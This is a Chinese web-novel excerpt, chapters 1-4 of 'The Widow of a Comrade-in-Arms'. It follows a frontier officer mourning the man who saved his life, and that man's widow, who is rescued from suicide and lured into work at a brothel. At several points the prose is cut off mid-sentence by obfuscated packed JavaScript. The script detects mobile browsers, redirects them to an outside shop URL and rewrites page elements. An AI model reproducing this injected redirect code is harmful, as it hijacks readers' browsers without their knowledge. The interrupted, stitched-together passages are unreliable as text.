《袍泽的遗孀》 1. 第1章 酉时三刻,日薄西山。 西北大营内,一股饭菜香逐渐从东边的伙房里飘出来,随风漫散至整个营地。 刚开春,为了让所有人把猫了一个冬天的懒惰劲儿抛掉,整个军营的兵今日都被狠练了一遍。 这股饭菜香一吹,勾得不少人肚子发出一阵一阵的雷鸣。 眼看离开伙的时候没差几分了,阎非对身旁的队正点了点头。 队正会意,站出来宣布今日的操练到此为止。 很快,各队人马都散了去。 最后把跟随在身边的小兵也打发去吃饭,阎非松了松腰带,走下场,在一众武器中随手拿起了一柄长枪,纵身一跃到了开阔处。 看人练了一下午自己倒没怎么上手,趁着操练场上空了,他大开大合地耍完了两套枪法,直至出了一身大汗,才意犹未尽的收势。 “阎都尉!” 他甫一放下长枪,不远处已经等候了一阵的小兵终于抓住空隙跑了过来,立定在他身侧。 阎非看过去。 小兵肃容禀报:“都尉,军营门口有人找,说是之前替您去送信的。” 他动作稍顿,随即道了声‘知道了’,打发走这个传信的小兵,三步并作两步往军营大门口而去。 近几个月他只往外送出过两封信。 一封是年关将至时写的家书,向家人报平安以及问候家中亲人是否安好。 另一封是随着一些银两布匹一起送出去的,送去了中原腹地,给曾经对他有过救命之恩的李全。 穿越小半个军营,遥遥看见大营门口的那人,他心里便有了数,定是李全那边的消息。 大营两侧站了守门的士兵,阎非把人带着往外走出去十数步,到达一个旁人听不见他们交谈声的距离才开口与这名顺路送信的周姓商人详谈。 哪知男人满脸歉意,张嘴就是道歉。 “实在对不住,阎都尉,东西我没能帮您送出去。” 这是阎非给李全送东西的第三个年头,前两年委托送信的是另一个人,今年是头一次委托周平送信,听闻不顺利,阎非稍有意外的推测:“是没找着地方?还是他不肯收?” “不,”周平神色更添了几分欲言又止,“地方找着了,是人……不在了。” 阎非目光一滞,神色也顿住,反应过来后很快往前一步拉近了距离,以近乎逼问的姿态急切追问:“人不在了是什么意思?” 就不该跑腿去送这个信! 周平心里懊悔个不停,可惜悔之晚矣! 在阎非的盯视之下,周平擦了把汗,尽量不打磕绊地把自己打听到的情况说齐全。 “您有所不知,我随商队到郸州城后一日都没有耽搁,托熟人守住我的货后,便自个儿脱离商队找去渠县,按您说的去那里寻一个叫李全的更夫。 可……他们说已经没有这个人了。” 天可怜见,他绝没有半分夸大!他们经商的人,能跟当官的搭上关系,那是平时盼都盼不来的机会,所以他真的很尽力去办这件事。 听说李全人没了时,他比谁都懵,细细打听了李全遇害的经过。 “唉!我抵达郸州时是已是去岁十二月底,听他们说,在十一月二十那日,李全夜里打更经过一个巷口,刚巧遇上几个盗匪从一户人家家里偷盗出来。 他没有噤声,反而把手中打更的梆子敲得急如骤雨,并一边张大嗓子喊人,一边只身堵住那些个盗匪的去路。 眼见坏事暴露,那些盗匪急红了眼,慌忙间用藏在身上的凶器连刺了他几刀……命中要害,人,就这么没了。” 阎非早已由不可置信转为五内如焚,神色间有掩盖不住的悲痛和愤懑。 周平小心翼翼观察了一番,确认他还在听,放缓了声音把其它打听到的消息接着说下去。 “您说他家住李家沟,于是我又从渠县找了过去。本想着把东西留下给他家里人也好,但是李全的老母受不住丧子之痛,年关前的一个大雪天没熬过去,在李全离世后不足一月之时,也…… 剩下他娘子,在李母安葬后,被李氏族人以入门三年无所出为由,占了田地房屋,逐出李家沟了。” 周平是跟着商队走的,在郸州停留的时间不多,能打听到这些已经是极限了。 他再一次告罪,并把那没机会送出的银两等物,双手递还给阎非。 尽管这突如其来的消息带来的冲击还没过去,但阎非还尚存着理智。 毕竟一开始只是托人家送一趟信而已,不能强求别人帮自己把一切都调查清楚。 确定周平不知道更多细节了,他接过那些数月前用心准备的东西,强压住心神又给了一份送信的银钱给周平。 看着对方离开,方慢慢走回自己的营帐。 郸州城渠县李家沟,李全的家乡。 那里位于大齐的中原腹地。 近几年大齐边关偶有战乱,可中原地区的百姓们一直生活得很安稳。 李全恰好巡夜途中遇到盗匪,又恰好在与盗匪搏斗中去世,加上他寡母紧接着离世,田地被霸占,妻子不知所踪……桩桩件件,其中真的没有蹊跷吗? 不知何时最后一丝夕阳余晖也沉了下去,伴着夜风,他心事重重地掀开了自己营帐的帘笼。 里头并不昏暗,有小兵提前为他点上了灯。 桌上摆着一份从伙房端来的饭食,已经放得有些凉了。 他无心用饭,盯着盈盈跳跃的烛火枯坐了会儿,眼角余光落到行军床的位置,思绪也恍惚回到了三年前,去伤员营帐里探望李全的那一刻。 那场战役,他和李全都受了不轻的伤。差别在于,李全为他挡下穿心一箭,又遭敌军战马踩踏,伤势比他更重。 他身上的伤处理过后还勉强能站起来,李全却早在被抬到伤病营帐时就昏厥过去了。 军医匆匆将李全的伤势处理过后,他便立刻跑过去看。 发现李全胸膛仍有起伏,他很是松了口气,然而下一刻就被医士告知…… 当时是怎样的愧疚,怎样的悲痛,都不重要了。 李全能替他挡一箭,可落在李全身上的那份伤痛他替代不了,这一辈子都替代不了。 养好伤病后,李全便退伍返乡。 他曾去李家沟找过一次李全,可李全对他避而不见。 本以为有生之年总有再见之时,谁曾想到啊,人算不如天算。 静坐了半刻钟不到,心里越发不是滋味。 灌完一碗冷茶,他起身径直去往主帅营帐。 两日后的清晨,有人牵着一匹枣红色的快马出了西北大营。 正是告了假的阎非。 …… 春寒料峭,阴雨连绵。 渭水河畔,风寒彻骨。 秦杏双目失焦,从河滩边上的淤泥地里,一步步向着河中心走去。 冰寒刺骨的河水漫过了足背、小腿、膝盖,她像毫无所觉一般,仍坚定地向着那河中心而去。 “杏儿!杏儿!你咋想不开寻短嘞?!” 后头荒草丛中的人不知看了多久,在水漫过秦杏腰际时抢天呼地地招着手跑了出来。 这是个穿红戴绿、敷粉打扮过的妇人,已有四十来岁,瞧着却像个三十出头的模样。 到了河边,她把脚上绣花布鞋一蹬,棉布袜子一除,赤脚踩进那河泥里。 秦杏对外界的一切都无所感,妇人拨开水将她拉住时,水面已经淹没到了她口鼻处。 那妇人穿着打扮细致,但年轻时显而也是吃过苦的,只见她把手穿过秦杏腋下,硬生生用一把子蛮力把人生生从鬼门关拉上了岸。 “咳、咳……” 肺部难受得很,一旦试图正常呼吸,便止不住的呛。 秦杏连着咳了好几声,眼泪被呛出来,可恢复意识后又挣动身体往那河中爬去。 “你作甚嘞?!” 秦三娘没好气地抽了她一巴掌。 “啪!” 带着薄怒的一巴掌甩出去声音十分脆亮,秦三娘打完自己都吓了一跳。 然而秦杏只是怔怔的,停住动作呆滞在原地,既不痛呼,也不委屈呜咽。 秦三娘看着她,她鬓发散乱,形容狼狈,好一会儿过后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如同火星点着了干柴,她猛地一下便直起了半塌的背。 抬头左右四顾间,身体已经像老母鸡护鸡崽子一般挪到了秦三娘身前,用自己的身体把对方袒露出来的身体部位遮挡住。 “婶子,你……”她声音嘶哑,神色十分慌张,麻木了很久的脑袋也突然开始转动。 衣裳湿了,拧干确实是常理。 不过光天化日的,在这荒郊野外这般大胆的脱衣裳下来,借秦杏一百个胆子她也不会敢的。 她左手抓着右手,一边望风一边担惊害怕。 秦三娘可不在意这个,看她突然被刺激得有了些活人气,反而更加把拧衣服的动作放得一点一点慢悠悠的。 “哼,如今知道担心我了?” “我在岸上叫你那么半天,你咋跟听不着似的非要往河中间走呢?” 秦杏根本答不出个所以然来。 好在秦三娘也不是非要听她嘴里说出个三四五六。 把一身衣裳连同肚兜儿都脱下来拧过一遍,她起身去那荒草垛的中下层抽出些没被雨淋湿的干草,用随身带着的火折子点燃了火。 打她穿好衣裳,秦杏便又变得有点半死不活。 “咋?不想溺死了,想得风寒病死?” “把衣裳脱下拧干啊。” 秦杏并不言语,只是垂头坐着,摇了摇头。 这人呐,决心想死就会什么都不在乎,只要有在乎的事,那就死不了。 秦三娘看出她还在意贞洁和名声,所以心里便有了计谋。 “怕什么?前不着村后不着店的,你还怕有人蹦出来瞧见你脱衣?” “你自个儿不敢,婶子帮帮你。” 她手还没伸到秦杏跟前,小媳妇已经捂着领口往侧边儿一闪躲出去了。 再伸,又是一躲。 第三次手还没伸出去,秦杏已经急了眼挣扎着避退出了二里地。 比死还难受的是失去贞洁。 在当朝,大部分女子都是如此想法。 见她脸红脖子粗,一副羞愤欲死的模样,秦三娘终于收手了。 “行,你乐意穿着湿衣裳就穿着湿衣裳吧。” 秦三娘知道,秦杏这么想死,是被逼得没有活路了。 若是有条活路,哪个人非得去寻死呢? 她拍拍秦杏的肩头,“婶子知道你是个好孩子,不就是在娘家和婆家都没有活路吗?如果婶子给你找出一条活路,你愿不愿意好好活着?” 2. 第2章 好死不如赖活着,能在阳间有条活路,谁愿意上赶着去过那奈何桥? 秦杏无神的双眼随着秦三娘的话语而迸发出了一点神采。 秦三娘当然没错过这点细微的变化。 她翘起指头把松散下来的一缕额发挽到耳后,挺直腰背,半掀着眼皮从上往下睥睨地点评道:“你在这村子里,一年到头守着的就是田间地头的那两亩三分地,夫家的族人把你家那些屋子和地占了,你就觉得失去了一切。后来失魂落魄地跑回娘家,发现娘家不容你,你于是更没了奔头。” “可你是进过城见过世面的,你可在那郸州城见过哪个当官的老爷、哪个大财主扛着锄头去种地?” “婶子告诉你,你失了地,在村里活不下去确实没错,可若是进了城,倒是能够学学城里人那另一套活法。” 秦三娘言说自己在郸州城内有些故旧,可介绍秦杏去做活,保她以后日子过得安稳顺意,再不会被人欺负到无容身之所的境地。 在秦杏晕头转向,被她描绘出的前程哄得不知所措,但是又仍心存一些怀疑的时候,她又适当的放低了一些姿态,转变成一副极为唏嘘的模样。 “婶子这辈子还没骗过哪个,愿意跟你说这些、救你一命,都是看在你女儿家家年纪轻轻的份上。你说,你要是梗着脖子投身到渭水河里去了,多可惜?” 她最后拍了拍秦杏的手背,温热的手捂住秦杏冰凉的指尖。 说不清是不是这初春的河水太冰了的缘故,总之,此刻的秦杏不想再下淌水了。 她想抓牢这点温度。 …… 从这儿去郸州城,全程坐牛车都得花去一整日功夫,今日这半下午的动身过去,自然来不及。 于是两人在这荒草垛后谈完心,秦三娘便拉着秦杏去了自个儿家。 秦杏万念俱灰从娘家跑出来,心里打得是自我了断的主意,所以半点行李都没带,孑然一身。 秦三娘寻了一套自己的旧衣裳给秦杏换上,让她好好睡了一觉,次日一早用了顿朝食,立刻带她乘坐牛车前往郸州城。 郸州城富庶,不仅外有修建得气势磅礴、坚不可摧的城墙,内里更是长居着数都数不清的富商巨贾。 将近傍晚她们才到达郸州城城门口,然而此刻等待进城的人都还有不少,需得排队依次校验路引。 由秦三娘付过车资,她们从牛车上下来,规规矩矩的排队进城。 要说昨日啊,秦三娘还真没少忙活。 安顿着秦杏睡下后,她漏夜去了一趟秦家村里长家中,不知是如何想法子疏通的,反正帮秦杏弄来了一份路引。 排了大约一炷香的时间,总算迈进了这郸州城城门。 秦杏紧紧抱着昨日换下洗了还未全干的自己那套湿衣,如同刚破壳的小鸡一般,一步都不敢走错,只牢牢的,亦步亦趋地跟在秦三娘身后。 秦三娘有个坐车就头晕的毛病,甭管牛车马车还是驴车,除了人抬的轿子,其他的坐久了都晕。 今日长途跋涉,她一身可不好受。 因此一路上也没提点安抚秦杏什么,就那么一人在前一人在后,东拐西走的穿过了长长一片繁华的地段,绕到了一处小巷子里,再敲开了一扇矮门。 不一会儿,老旧的木门从里打开了。 一个膀大腰圆的青年壮汉伸出头打量了她们一阵,大抵是认出了秦三娘,没多说话的让开了身体,容她们通过。 看到这样膀大腰圆的汉子,秦杏心里有些惴惴不安,但观秦三娘的神色十分自如,她便也不敢说二话。 她小心翼翼随秦三娘入内,没多久便被所见所闻惊得瞠目结舌了。 这是一方小院儿,但里头忙忙碌碌,有男有女的穿梭着不少人。 他们的衣裳都是一个样儿的,青壮的男子皆穿褐色样式的上衣,黑色的下裤,年纪小的少女统一穿青色的及脚面长裙,外加一件防寒保暖的褙子。 所有人全身上下不见一个补丁。 她暗自猜测这些人的身份,但秦三娘随口一句便将她的猜测打断了。 “这些都是在这里做活儿打杂的人。” 不顾她的讶异,秦三娘带着她继续徐徐地走着,穿过这方天井,入目竟然出现了一栋三层的小楼。 “刚刚那是后院,打杂的人干活、起居都在那头,从这儿起,便算做宜香楼的前堂。” “宜香楼是与贵人们做生意的地方,前门只有贵人们可以走,你我这种身份的,都只能从方才那个小门进出。” 如果说刚刚那些做活打杂的人,他们的穿着已经让秦杏震惊了,那么,这宜香楼的前堂更是让秦杏大开眼界。 这里说是处处雕梁画栋,香风扑鼻也不为过。 那些穿戴齐整的杂役们在前堂可见更多了,他们或往瓶中插花,或准备茶水点心,或摆弄一些看着便金贵的物件。 一举一动,皆不寻常。 秦杏看得大开眼界,同时也冒出疑问:这样富贵又不寻常的地方,到底是做什么生意的? 她这样什么也不会的乡下妇人,能留在这么好的地方留下做活儿吗? 心中露怯,面上也惶惶。 秦三娘偷觑了她的神色,心里十分满意,“我带你去见这里管事的,只有她同意了,你才能留在这儿干活。我会帮你说些好话,但你自己也要表现得可怜一点。” “她说什么,你都细声细气地答,不得高声喧哗,不得牙尖嘴利的反问,有什么事儿不知道的,你留着待会儿问我。最最需要记住的是,留不留下你,口头的允诺算不得数,只有她当场与你签了契书,你才算是真的留下了。” 前头的那些秦杏都能明白,都能做到,唯独秦三娘最后说的那话让她很有些不安。 “签、签契书?” 她虽没上过学堂,却知道签契书意味着什么。 她的亡夫李全曾与她说过,手印不能乱按,否则被人卖了都无处讨要公道。 在这城里做些杂活竟也需要签契书么……她目不识丁,如何辨别那契书上写了什么? 万一真是卖身契之类的…… 秦杏想想便浑身一颤,一时打起了退堂鼓。 要不,算了吧。 刚想扯住秦三娘的衣袖说自己不去了,伸到一半却刚好被秦三娘捉住。 她面上带着笑意拉住了秦杏的手,朝不远处一人笑着打招呼:“丁管事!” 秦杏嘴皮子还未来得及掀开,听到这声招呼,她顺着秦三娘的视线往那边看去,看到了一个穿着打扮比秦三娘更庄重、更华贵了不知多少倍的半老妇人。 她头上戴钗,手上戴环,着一身极为得体的宝蓝色衣裳,面料是秦杏辨认不出来的贵重。 正所谓佛靠金装,人靠衣装,面对一看就贵气的人,又想起秦三娘方才那些诸如不要喧哗的叮嘱,骨子里冒出来的怯意让秦杏一时半会儿彻底不敢再吱声了。 她犹豫的间隙,秦三娘已经巴着这位丁管事寒暄完毕,说起了为她谋差的正事。 秦杏缩头听着,心里七上八下没着没落。 突然,秦三娘捏了一下她手臂内侧的嫩肉。 她慌忙放下思绪抬起头,正巧与丁管事对视上。 不过一瞬,秦杏规矩地移开视线,躬身细声细语地行了一礼,“见过丁管事。” 空气安静了两秒,秦杏不敢抬头,只把视线落在她宝蓝色的裙角上。 又过了片刻,那宝蓝色的裙角挪步离开了她的视线范围。 秦三娘松开她的手,带着些迫不及待的意味道:“我去与丁管事说说话,你就在这里待着。” 她走得太快了,秦杏那打退堂鼓的话,再次失去了说出来的机会。 ……罢了,本也不一定能留下。 她如此安慰着自己,尽量站到一处不起眼的角落,在来来往往穿梭其间的‘体面人’们经过打量她时,在不拦着人家路的情况下,她完全一动不动,只把自己当做那木头柱子。 不自在的时间过得格外漫长。 秦杏都估算不出自己一个人站了多久。 秦三娘神色不虞地走过来时,她心里一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我,我甚至愿意再投一次渭水河。” “婶子,我不要待在这里,我不要。” 若早知道是这样的地方,她一步都不会踏进。 她哀求着,满含着泪水求秦三娘带她走。 “杏儿啊。” “婶子没有让你不走。” “可是,婶子喊你来郸州城做工,是你昨日自己点了头同意了的。今日也是你自己随我一步步走到这里来的。” “从秦家沟到郸州城,婶子给你垫付了车资,又想法子打点了里长给你办了路引。” “你今日若不留在这里,你去哪儿睡?郸州城内客栈多得是,可没钱住不了。你不住客栈的话,露宿街头被人欺负了也未可知啊。” 秦三娘说一句,秦杏脸色就更白一点。 等她面上毫无血色,秦三娘转柔了语气,开始劝解她。 “杏儿,把心放宽些。” “你只是在这儿做工,在这儿打杂,又不是跟那些卖身的姑娘一样要接待恩客。” “今日天色实在是太晚了,咱们在这儿耽搁了一阵,再去别处也难找着人了。 不如……你先在此处待着,明日,婶子再去别处给你寻寻?” 虽然是商量的语气,但并没有给秦杏别的选择。 楼里已经开始掌灯了。 无数的蜡烛被人接连点燃,四处都亮堂堂的,实在是令人目眩神迷。 “婶子。” “你真的会替我寻到别的活计吗?” 秦杏感觉脸上冰冰的,视线也模糊。 她根本看不清秦三娘的脸,也看不清自己身处何方。 她觉得此刻比昨日溺在渭水河还要无助。 她的声音在发抖,语调也近乎破碎。 秦三娘都听得有点心疼了。 “会。婶子当然会替你寻别的活计,明日天一亮婶子就去帮你寻。” “你再信婶子一次,婶子一定不会让你在这种地方多待。” 秦杏近乎绝望的点了点头。 3. 第3章 掌灯时分,郸州城内白日里繁华喧嚣的地段,余留穿行的人马已经不多了。 与之相对的,一些白日里人迹罕至的小街小巷,悄悄点亮了红灯笼,开启了为期一夜的迎来送往。 秦杏是新来的,怕她冲撞了贵人,上头的人安排她今夜跟在一名叫紫苏的丫鬟身后学规矩。 紫苏今年十五岁不到,据说已经在这儿做了两年杂活了。 秦杏这一晚上寸步不离地埋头跟着紫苏处事,虽然见到了许多足够叫她惊掉下巴的事,但紫苏以及周围所有人都一副波澜不惊的样子,于是秦杏便不敢把这幅惊讶表现出来了。 午夜过后,宜香楼中的客人逐渐稀少起来。 收拾掉所有狼藉,认真清洁了桌面和地面后,紫苏先带她去洗漱,再带她去了一间十二人同住的大通铺。 “你晚上就贴着我睡吧,咱们合盖一床被子,想来还暖和些。” 紫苏个头高瘦,皮肤虽不特别白净,但生了一双笑眼,一看便让人感觉亲近。 秦杏正愁没有铺盖,听了这话,感动得差点落下泪来。 只是怕叫旁人看了笑话,最后好歹咬住唇憋回了泪水。 宜香楼家大业大,但背后的东家显然不可能把太多钱花在杂役们身上。 几乎是整间房的人刚刚洗漱完回来,房里的油灯便被吹灭了。 有人打着哈欠闭上了眼,有人摸黑也要说几句悄悄话。 秦杏自从钻入紫苏的铺盖中,便老老实实躺着,能不动尽量不动。 昨夜在秦三娘家歇得好,今日也坐了一日的牛车,路上眯了不少。 尽管这会儿已经半夜了,秦杏还是有些睡不着。 一则认生,二则和紫苏同睡一个被窝,怕睡梦中抢了她被子害得人着凉,有点不敢睡,三则,不确定明日秦三娘能不能替自己寻到别的差事。 今日有些见闻着实让她心里大不能接受。 那些客人调笑的语气、不规矩的动作,哪怕没落到她身上,也让她心里发慌难受。 身边渐渐有人发出了均匀的呼吸声。 秦杏轻轻偏了下头,却发现紫苏也还睁着眼呢。 怕扰了旁边人的好梦,秦杏眨了眨眼,并未寻紫苏说话。 然而过了一阵子,紫苏用手肘轻轻碰了碰她。 “睡不着吧?” 秦杏用气音‘嗯’了一声。 她以为紫苏会与她聊天,不过等了好一会儿才等到对方说了一句:“你真白净,模样也生得好。” 秦杏不大会应付别人的夸赞。 从小到大夸过她长得好的人不少,她都是笑一笑,然后埋下头去。 黑灯瞎火的,做表情紫苏也看不到,她正想难为情地谦虚几句,紫苏下一句轻声出口的话便将她吓坏了。 “但在这栋楼里,生得好看不是什么好事。” 秦杏吓了个激灵,脱口而问为什么。 一整晚都极为亲和的紫苏并未回答,反而转了身,闭上了眼。 秦杏只能自己把这两句在心里咀嚼了两遍,心事重重地皱起了眉。 她没有生得一副七窍玲珑心,却也不算太笨。 紫苏先夸了她模样好,又说这不是件好事…… 回想这一夜所见,楼里模样生得好的,都是挂牌接客的姑娘。 秦杏张了张嘴,她想告诉紫苏,自己成过亲了,只是丧了夫,如今成了寡妇。 可转念一想,是寡妇又能如何呢? 被夫家族人占了田地房产赶出来后,寒冬腊月的,她拿着自己仅剩的那点嫁妆回了娘家,投奔兄嫂。 大哥那儿住了三天,大嫂为难的说年景不好,家里余粮不多…… 二哥那儿住了两天,二嫂日日指桑骂槐,摔摔打打。 三哥三嫂倒是笑意吟吟收留了她一些时日,可年后竟有媒人上门。不是给外甥说亲事,而是给她找了一户‘好人家’,劝她改嫁…… 娘家人都想通过改嫁的方式把她打发出去,在这楼里,如果她真因为颜色好被什么人看上了,有谁会容她说不?她有机会逃走吗? 黑暗中,秦杏越想,身体越止不住的发抖。 最后近乎被恐惧淹没的她,只寄希望于秦三娘,希望她明日能帮自己另寻到一处差事。 一夜难眠,天明时分,两只眼皮实在撑不住了,秦杏勉强眯了会儿眼。 没睡着多久就感觉到有人推她的肩。 她睁开眼看,与她同一被窝的紫苏已经不见了,倒是同屋的其他人还安睡着。 外边天色已经大亮了,她害怕再一闭眼会睡过头,索性准备掀开被子起床。 手一动,方发觉手心里不知何时被人塞入了一只小小的瓷瓶。 瓶身没有什么花纹印记,秦杏揭开瓶塞仔细辨别一阵,最后认定应当是一瓶不带香味的、涂脸的面脂。 质地稍显粗糙,颜色偏淡黄。 再度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485499|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了一眼房内,确定只少了紫苏一人,秦杏心里便有了些猜测。 不过她不敢凭自己的臆测就去动用。 趁着旁人都没起,她赶紧起床出了房间。 走到昨日紫苏带她去过的洗浴房,里头只有紫苏一人,她正要提步进去,紫苏已经拔步出来了。 她手里攥着瓷瓶,眼睛看着对方,然而紫苏却神态自若,一个眼神都未给她,仅在与她擦肩而过时轻声说了三个字:“涂脸上。” 昨夜的话,今日的面脂,再不懂紫苏的用意,秦杏就是个傻子。 把脸洗净之后,她寻了个僻静无人处,将瓶子里的东西仔细在脸上涂抹了一层。 之后回房悄悄照了照镜子,发现那面脂好用得很。 她想省着点用,也害怕涂厚了不服帖,于是最后只涂了薄薄一层。 本想着照照镜子不够再加,没想到这面脂效果这么好,少许一层就将她脸上的肤色变暗了些,却又不是大相径庭,让人看着就违和的变化。 肤色一暗,再加上将近一夜无眠,她眼下青黑,双眼有些没精打采,瞧着模样是与平时有了许多不同。 知道面脂的事紫苏不想让其他人知道,自己现下又没能力报恩,秦杏就只牢牢记着这份心意,在心里暗暗感激着紫苏的体贴。 宜春楼里白日活计不多。 杂役们午时之前起床,用完午食开始为夜晚的生意做布置。 杂役里边也分个先来后到,待得久的可以使唤新来的多去做些事,自己偷些小懒。 昨日秦杏第一天做活能跟着紫苏走,今日起便要开始独自做事了。 有一名叫环佩的,两年前与紫苏前后脚进入宜春楼做事。 与紫苏主要在前堂做杂活儿不同,她得了楼里曾经红极一时的清香姑娘眼缘,被选中伺候清香姑娘的衣食起居。 每日里从穿衣梳头到熨衣叠被,事无巨细。 秦杏准备跟着紫苏去前堂寻活儿干时,被环佩逮住了。 她直接上手把秦杏拉离了紫苏身边,毫不客气地安排道:“你去打盆冷热相宜的水来,随我上楼去伺候清香姑娘洗漱。” 新人被老人喊去使唤在这儿是常有的事,谁都经历过,没人替秦杏说话。 而秦杏本人大部分时候都是个面团一样的性子,如今又初来乍到的,不太懂此间规矩,自然更加不敢说做些什么。 所以她只是与紫苏说了一声,便跟着环佩去了。 4. 第4章 在李家沟和秦家村,房子能用青砖黛瓦建造就已经是极好的了,昨日之前秦杏没想到这世上竟有房子能够足足建造出三层来。 换做昨日跟随秦三娘刚来这儿时,若有机会上到二楼,秦杏一定会心潮澎湃,仔细打量一番。 但今日嘛…… 心中怀着心事,又经历过一夜辗转难眠,她没功夫再分出很多精力去关注这些与自身相比并不重要的事。 跟在环佩身后上了二楼,经过了两三个房间,拐了一处弯儿,环佩示意她止住步子。 秦杏乖乖立在原地,看着环佩先进屋,隔了会儿,才听环佩在里面扬声说:“进来吧。” 她小心用手肘推开门,香风和暖意扑面而来。 正值初春,夜里还冷着,听闻二楼和三楼所有屋子都是日夜燃着炭盆的,秦杏对此并不惊奇。 倒是屋中的香味,一入鼻,她便觉得心怡神旷极了,似雨后的花香,沁人心脾。 环佩过来把她打开的门关上,随后带着她绕过一座屏风。 秦杏看到一名肤白赛雪的女子坐在妆镜面前,心中意会:这应当就是清香姑娘了。 环佩使她站在原地,自己端了香茶供清香姑娘漱了口,然后才取出一条丝帕在盆中打湿又拧干,供清香姑娘洁面。 对于她这个新出现的人,清香一开始并没有太过在意,在擦完脸透过妆镜看了她一眼后才笑着问:“你叫什么名儿?” “回清香姑娘,我名唤杏儿。” 楼里是不兴连名带姓叫人的,昨日紫苏教过她,说她以后在这楼里的名字就叫杏儿。 清香点了点头,亲手打开妆匣的抽屉,取出了一只缠花银镯让环佩递给她。 “我观你手腕纤纤,若半点妆饰不戴实在是可惜。这是我新得的一只镯子,你且戴着玩儿。” 秦杏受宠若惊地抬眼,通过镜子恰好跟清香对视上。 镜中,清香极美的一张脸上带着笑,正温和无比地看着她。 秦杏心说自己就打了盆水送上来,怎么能收人家这般厚赏呢? 正待婉拒,环佩已经窥破了秦杏的意头。 她快言快语道:“咱姑娘是这楼里头等的和善大方之人,从不做那些虚模假样。给你什么,你大大方方收下道谢就是。” 昨日紫苏说过,在楼里干活,客人和姑娘们赏什么都只管接着,此刻环佩也这么说,秦杏便觉得再张口推脱只会显得自己规矩没学好、小家子气。 于是她把水盆放下,学着昨日其他人得客人赏时一样,弯腰行礼,口齿清晰地道谢。 收下银镯后,秦杏以为还会有其他活儿要做,不成想后边盘发、梳妆、熏香这些事环佩都没再叫她帮手。 秦杏也不敢主动凑过去,她梳妆的本事一般,盘发也只会最简单的几种,至于熏香,从前在家更是见都没见过。 这般算下来,好像是白得了一个银镯一般。 晚间回到房里,紫苏看到她手上多了个镯儿也有些讶异,秦杏取下来给她看,她便瞧了瞧花纹又掂了掂重量,最后评价道:镯子应当有一两重,加上镯上的花纹打得精巧,拿去当掉的话,当个二两银子不成问题。 得知她的赏是从清香姑娘那儿得来的,紫苏便不稀奇了。 “清香姑娘一贯大方随和,喜欢广结善缘,楼里的杂役们几乎都得过她的赏。你运道不错,得了厚赏中的厚赏,这可抵得上几个月的月钱呢!” 今日秦杏从上午就在盼着秦三娘来接走她,无奈一整日光景都没盼到秦三娘来。 本来她的心情已经低落得坠入了谷底,但在听到紫苏对这只手镯的估价后乍然回升了许多。 从前李全做更夫一月只能领到五百月钱,现在她在宜春楼做杂役,听说是一个月六百月钱。 这平白得来的一只镯子,够她一人吃穿嚼用一年了。 某一瞬间,她恨不得立刻离了这宜春楼,去当铺当掉这镯子以还掉秦三娘的钱,再去外头寻点别的活儿做。 当然,这股冲动来的快,去的也快。 二两银子用一年,是在她有房子、有免费居所的情况下。 她没有住的地方,在城里随便租赁一间房子,一月都不知道要花费多少。 再加上她无一技之长,去外头寻地方做活儿估计也不是随便能够寻到的。 今日苦等秦三娘却不曾等到,想来也是替她奔波一天却未寻到合适的活计吧…… 秦杏还是决定再待上一待,起码要等到秦三娘的回音。 这些天等待的光景里,多为清香姑娘做些事,总不能替人家打了一盆洗脸水就得人家这么贵重的赏。 这一晚,秦杏想了更多事,依旧不算好眠。 次日上午,她全凭着一股毅力勉强把眼睛睁开,溜到洗漱房鞠了两捧凉水狠狠浇在脸上方醒了神。 后又趁无人的时候,悄悄摸摸做贼一样把面脂涂抹好。 再去房间照镜子,发觉眼下青黑一片,眼中红血丝比之昨日更多,一瞧就是恹恹的,没什么精气神的样子。 到了干活的时候,她主动找上环佩,问其要不要帮忙。 环佩很是满意她的上道,满意之余还关心了她一句,“为什么这般憔悴。” 秦杏只说自己认床,她也就不再多说什么。 二人上了楼,不过今日除去让秦杏端洗脸水外,环佩还教了她如何给清香姑娘熏衣。 秦杏老老实实干活,从下午到晚上,平平安安什么意外也没发生。 只是她今日仍未等到秦三娘,秦杏心中惴惴不安,从这晚上起,每夜控制自己只睡一两个时辰。 日子这般过了几日,时间竟到了月初,楼里发月钱的日子。 发月钱也不能影响楼里的生意,所以这月钱的发放时间在每月初一的上午,巳时起开始发放,杂役们需在午时前领取完毕。 忙活了一个月,说起领月钱,没有谁是不积极的。 巳时不到,前堂里已经排满了领钱的人。 不管是龟公、伙夫还是杂役,都没有缺席的。 秦杏跟着紫苏排在队伍中间偏前的位置,有些紧张地确认:“我真的也能领到月钱吗?” 她只做了八日的活儿,以为要下一个月或者等到她辞工才能结到工钱呢。 这已经是秦杏喋喋不休确认的第五遍了,昨日自己告诉她今日可以领月钱她就确认过两三遍,现在排到这队伍里,更是隔一会儿就要问一次。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485500|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >紫苏无奈得紧,“你若不想领便算了,给我吧。” “嘿~那不行。”秦杏傻兮兮地笑。 